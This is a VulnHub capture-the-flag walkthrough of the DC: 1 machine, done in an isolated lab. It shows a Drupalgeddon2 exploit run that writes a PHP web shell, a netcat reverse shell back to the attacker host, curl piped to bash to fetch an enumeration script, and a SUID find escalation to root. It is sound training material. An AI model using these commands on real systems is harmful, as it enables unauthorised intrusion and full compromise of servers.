Name : DC: 1
Difficulty : Beginner
Type : boot2root
Source : VulnHub
URL : https://www.vulnhub.com/entry/dc-1-1,292/
Entry : 2 / 30
Welcome to the walkthrough for DC: 1, a boot2root CTF found on VulnHub. This is the second VM in my VulnHub Challenge! This is a beginner machine, but one that also hosts a popular CMS application. It was fun using some new tools and while not particularly difficult, it was still a lot of fun. Let’s get into it.
Goal
There is a single flag in the /root
directory that we need to read, so a fairly straightforward challenge.
Setup
I’m using VMWare Workstation Player to host Kali and the DC: 1 OVA image, with both VMs running in a NAT network to keep them separate from the rest of my environment.
Discovery
I use netdiscover
to search for the IP address of the DC: 1 VM:
root@dante:~# netdiscover -r 192.168.111.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.111.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.111.2 00:50:56:f8:98:a5 2 120 VMware, Inc.
192.168.111.141 00:0c:29:5c:f9:bd 1 60 VMware, Inc.
192.168.111.254 00:50:56:f9:83:ca 1 60 VMware, Inc.
Looks like 192.168.111.141
is my target IP. Let’s move on and scan the system.
Scanning
I run a quick nmap
scan using default scripts (-sC
) and look for software versions as well (-sV
):
root@dante:~# nmap -sC -sV 192.168.111.141
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-22 20:20 EDT
Nmap scan report for 192.168.111.141
Host is up (0.00013s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 32881/tcp status
|_ 100024 1 50280/udp status
MAC Address: 00:0C:29:5C:F9:BD (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.19 seconds
The main things jumping out at me are SSH and HTTP. Let’s try browsing to the website and see what’s up.
Ah, it’s a default Drupal site. Let’s see if we can find the version by looking for a CHANGELOG.txt
file, since that’s the standard, non-administrator way of checking for the Drupal version.
root@dante:~# curl http://192.168.111.141/CHANGELOG.txt
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/CHANGELOG.txt" was not found on this server.</p></body></html>
No luck! Let me check if there’s a robots.txt
file available, and see if there’s anything in that which may help identify the version.
root@dante:~# curl http://192.168.111.141/robots.txt
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used: http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/wc/robots.html
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html
User-agent: *
Crawl-delay: 10
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/
Seems there is an UPGRADE.txt
file. Let’s see what it says.
root@dante:~# curl http://192.168.111.141/UPGRADE.txt
INTRODUCTION
------------
This document describes how to:
* Update your Drupal site from one minor 7.x version to another minor 7.x
version; for example, from 7.8 to 7.9, or from 7.6 to 7.10.
* Upgrade your Drupal site's major version from 6.x to 7.x.
First steps and definitions:
* If you are upgrading to Drupal version x.y, then x is known as the major
version number, and y is known as the minor version number. The download
file will be named drupal-x.y.tar.gz (or drupal-x.y.zip).
* All directories mentioned in this document are relative to the directory of
your Drupal installation.
* Make a full backup of all files, directories, and your database(s) before
starting, and save it outside your Drupal installation directory.
Instructions may be found at http://drupal.org/upgrade/backing-up-the-db
* It is wise to try an update or upgrade on a test copy of your site before
applying it to your live site. Even minor updates can cause your site's
behavior to change.
* Each new release of Drupal has release notes, which explain the changes made
since the previous version and any special instructions needed to update or
upgrade to the new version. You can find a link to the release notes for the
version you are upgrading or updating to on the Drupal project page
(http://drupal.org/project/drupal).
...
<snip>
Looks like it makes mention of upgrading to Drupal 7.x. Great! This site may be vulnerable to the Drupalgeddon attack, so we’ll give that a shot.
Exploitation
Drupalgeddon
I found the Drupalgeddon2 project on GitHub which looked promising. After cloning it locally, I had to install ruby-highline
(i.e. apt install ruby-highline
) before I could run it successfully. However, once I did it was smooth sailing!
root@dante:/opt/Drupalgeddon2# ./drupalgeddon2.rb http://192.168.111.141
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://192.168.111.141/
--------------------------------------------------------------------------------
[!] MISSING: http://192.168.111.141/CHANGELOG.txt (HTTP Response: 404)
[!] MISSING: http://192.168.111.141/core/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://192.168.111.141/includes/bootstrap.inc (HTTP Response: 403)
[!] MISSING: http://192.168.111.141/core/includes/bootstrap.inc (HTTP Response: 404)
[+] Found : http://192.168.111.141/includes/database.inc (HTTP Response: 403)
[+] URL : v7.x/6.x?
[+] Found : http://192.168.111.141/ (HTTP Response: 200)
[+] Metatag: v7.x/6.x [Generator]
[!] MISSING: http://192.168.111.141/ (HTTP Response: 200)
[+] Drupal?: v7.x/6.x
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo QCGSKAJF
[+] Result : QCGSKAJF
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://192.168.111.141/shell.php)
[i] Response: HTTP 404 // Size: 13
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYydd
IC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell: curl 'http://192.168.111.141/shell.php' -d 'c=hostname'
DC-1>>
Awesome! We landed a shell! Now just because I don’t like exploit-based shells, I’m going to use nc
to create a nice reverse shell, assuming nc
is available:
DC-1>> which nc
/bin/nc
DC-1>>
DC-1>> nc 192.168.111.134 9001 -e /bin/sh
Yup, it’s there. I’ll start a nc
listener on my Kali machine and then run nc 192.168.111.134 9001 -e /bin/sh
via my Drupalgeddon shell on the target. This will get me a more stable shell than the one I created with Drupalgeddon, since it seems to drop on me after time. Once this new shell is established, I’ll “upgrade” it to a bash
shell using Python.
root@dante:~# nc -nvlp 9001
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.111.141.
Ncat: Connection from 192.168.111.141:42024.
python -c "import pty;pty.spawn('/bin/bash');"
www-data@DC-1:/var/www$ export TERM=screen
export TERM=screen
www-data@DC-1:/var/www$
I added the export TERM=screen
command so that I can use commands like clear
and get the results I’m expecting. You know, like actually clearing the screen.
LinEnum.sh
Now that I have a shell, I’ll use the LinEnum.sh to gather some data on what’s interesting in the environment.
Note: I’ve updated my LinEnum.sh
script to force the thorough tests option to always run. For CTFs, I always want the extra output so by forcing it within the script I don’t have to worry about forgetting to set the flag. This makes John a happy man.
I’ll start by hosting the script on Kali using Python’s SimpleHTTPServer
:
root@dante:/opt/LinEnum# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Now I’ll check to see if either curl
or wget
are installed on the target system:
www-data@DC-1:/var/www$ which curl
which curl
/usr/bin/curl
www-data@DC-1:/var/www$ which wget
which wget
/usr/bin/wget
www-data@DC-1:/var/www$
Cool, we have both curl
and wget
available. I’ll go with curl
to download the script, pipe it to bash
, then review the results:
www-data@DC-1:/var/www$ curl http://192.168.111.134/LinEnum.sh | bash
curl http://192.168.111.134/LinEnum.sh | bash
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 45662 100 45662 0 0 2731k 0 --:--:-- --:--:-- --:--:-- 2972k
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.97
[-] Debug Info
[+] Thorough tests = Enabled
Scan started at:
Tue Jul 23 06:38:13 AEST 2019
### SYSTEM ##############################################
[-] Kernel information:
Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux
[-] Kernel information (continued):
Linux version 3.2.0-6-486 (debian-kernel@lists.debian.org) (gcc version 4.9.2 (Debian 4.9.2-10+deb
7u1) ) #1 Debian 3.2.102-1
[-] Specific release information:
PRETTY_NAME="Debian GNU/Linux 7 (wheezy)"
NAME="Debian GNU/Linux"
VERSION_ID="7"
VERSION="7 (wheezy)"
ID=debian
ANSI_COLOR="1;31"
HOME_URL="http://www.debian.org/"
...
<snip>
...
[-] SUID files:
-rwsr-xr-x 1 root root 88744 Dec 10 2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su
-rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount
-rwsr-sr-x 1 daemon daemon 50652 Oct 4 2014 /usr/bin/at
-rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 321692 Feb 10 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs
[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
...
<snip>
Filtering through the output of LinEnum.sh
, I generally look for a few key things:
- What users are available?
- Do any of them have
sudo
privileges? - Are there any SUID/SGID binaries?
- What files are accessible/writeable to my user that may be interesting?
Privilege Escalation
Going through the output of LinEnum.sh
, I see that the find
executable has the SUID bit set! That’s great news, since it means that I can use it for privilege escalation! According to GTFOBins, I can do some privilege escalation using this command:
www-data@DC-1:/var/www$ find /etc/passwd -exec /bin/sh \;
find /etc/passwd -exec /bin/sh \;
# whoami
whoami
root
#
Note: I use the file /etc/passwd
as my target because I know it exists, and I really just need a single file to be found in order to ensure the -exec /bin/sh \;
command runs.
Now that I have a root shell, I go to the /root
directory, look for my flag, and call it a success.
# cd /root
cd /root
# ls
ls
thefinalflag.txt
# cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
#
Fin.